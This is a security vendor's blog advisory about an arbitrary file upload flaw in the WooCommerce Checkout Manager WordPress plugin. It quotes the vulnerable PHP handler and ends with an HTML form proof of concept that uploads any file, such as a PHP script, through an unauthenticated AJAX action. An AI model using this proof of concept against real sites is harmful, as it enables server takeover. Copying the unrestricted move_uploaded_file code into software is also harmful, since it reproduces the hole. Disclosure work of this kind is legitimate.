23 Apr 2019

Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability in WooCommerce Checkout Manager

With an arbitrary file upload upload vulnerability in the plugin WooCommerce Checkout Manager our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities caught, a good reminder is provided that things are not always as they visibly seem with plugins.

In the plugin’s settings, by default it appears that you cannot upload files as the setting for that is not checked:

That seems like a good idea since security issues with file upload capability are something that hackers are likely to target, so avoiding having that active if not needed would be good idea security wise. But as we will get to in second that doesn’t come in to play with the actual code that handles uploads, so what is going on?

The only place we could find that the value of that is checked is in the function wooccm_validate_upload_process_customer():

1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
function wooccm_validate_upload_process_customer() {
 
	$options = get_option( 'wccs_settings' );
 
	if( !empty($options['checkness']['enable_file_upload'])) {
		return true;
	} else {
		return false;
	}
 
}

That in turn is only called when deciding whether to show the frontend of the upload capability:

1495
1496
1497
1498
1499
1500
// Check if the customer can upload images
// @mod - This disables the Order Uploaded Files meta box even for Administrators...?
if( wooccm_validate_upload_process_customer() ) {
	add_action( 'woocommerce_view_order', 'wooccm_file_uploader_front_end' );
	add_action( 'add_meta_boxes', 'wooccm_admin_edit_order_metaboxes' );
}

Meanwhile the plugin makes a function, wccs_upload_file_func_callback(), which handles file uploads, available through WordPress’ AJAX functionality to those logged in to WordPress as well as to those not logged in:

2149
2150
add_action("wp_ajax_wccs_upload_file_func", "wccs_upload_file_func_callback");
add_action("wp_ajax_nopriv_wccs_upload_file_func", "wccs_upload_file_func_callback");

The first part of that code checks if several inputs are sent with the request:

1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
function wccs_upload_file_func_callback( $order_id ) {
 
	global $wpdb, $woocommerce, $post; // this is how you get access to the database
 
	$options = get_option( 'wccs_settings' );
 
	$order_id = ( isset( $_REQUEST['order_id'] ) ? absint( $_REQUEST['order_id'] ) : false );
 
	// load files
	require_once( ABSPATH . 'wp-admin/includes/file.php' ); 
	require_once( ABSPATH . 'wp-admin/includes/media.php' );
 
	$upload_dir = wp_upload_dir();
 
	$name = ( isset( $_REQUEST['name'] ) ? $_REQUEST['name'] : false );
 
	if( empty( $name ) ) {
		echo ' '.__('Upload failed. Files were not uploaded.','woocommerce-checkout-manager').'';
		die();
	}
 
	if( empty( $order_id ) ) {
		echo ' '.__('Invalid Order. Files were not uploaded.','woocommerce-checkout-manager').'';
		die();
	}
 
	$has_uploads = false;
	$order = new WC_Order( $order_id );
 
	$files = $_FILES[''. $name .''];
	// $upload_overrides = array( 'test_form' => false );
 
	if( !empty( $files['name'] ) ) {
		foreach( $files['name'] as $key => $value ) {
			if( $files['name'][$key] ) {

It doesn’t restrict what kinds of files can be uploaded or check if file uploads are allowed.

The code then runs different code for handling the upload based on if the “Categorize File Uploads” setting shown before is enabled. If that setting isn’t enabled then the file upload will be handled using wp_handle_upload(), which limits what types of files can be uploaded:

2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
if ( empty($options['checkness']['cat_file_upload']) ) {
	$file = array(
		'name'     => $files['name'][$key],
		'type'     => $files['type'][$key],
		'tmp_name' => $files['tmp_name'][$key],
		'error'    => $files['error'][$key],
		'size'     => $files['size'][$key]
	);
 
	// $movefile = wp_handle_upload($file, $upload_overrides);
	$movefile = wp_handle_upload( $file );

If that is enabled then the following code will be used, which allows arbitrary files to be uploaded:

2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
} else {
 
	// using move_uploaded_file to categorized uploaded images
	if( !file_exists( $upload_dir['basedir'] . '/wooccm_uploads/' . $order_id . '/' ) ) {
		wp_mkdir_p( $upload_dir['basedir'] . '/wooccm_uploads/' . $order_id . '/' );
	}
 
	$filename = $files['name'][$key];
	$wp_filetype = wp_check_filetype( $filename );
	$URLpath = $upload_dir['baseurl'] . '/wooccm_uploads/' . $order_id . '/' . $filename;
 
	move_uploaded_file( $files["tmp_name"][$key], $upload_dir['basedir'] . '/wooccm_uploads/' . $order_id . '/' . $filename);

So a hacker could use that to upload malicious .php files at a location they could then access, as the proof of concept below shows.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

 

Proof of Concept

With the Categorize Uploaded Files setting enabled and the ID number of existing order, the following proof of concept will upload the specified file to the directory /wp-content/uploads/wooccm_uploads/[order ID].

Make sure to replace “[path to WordPress]” with the location of WordPress and “[order ID]” with the ID number of an existing order.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wccs_upload_file_func&order_id=[order ID]&name=test" method="POST" enctype="multipart/form-data">
<input type="file" name="test[1]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.


Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for WooCommerce Checkout Manager

Checked on August 12, 2024
B+

See issues causing the plugin to get less than A+ grade

2 thoughts on “Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability in WooCommerce Checkout Manager

  1. I’ve been testing a fix and will be submitting a urgent Plugin update later this morning which once reviewed by the w.org Plugins team will be available for immediate download.

    (The Plugin has been temporarily removed because of the above disclosure)

Leave a Reply

Your email address will not be published.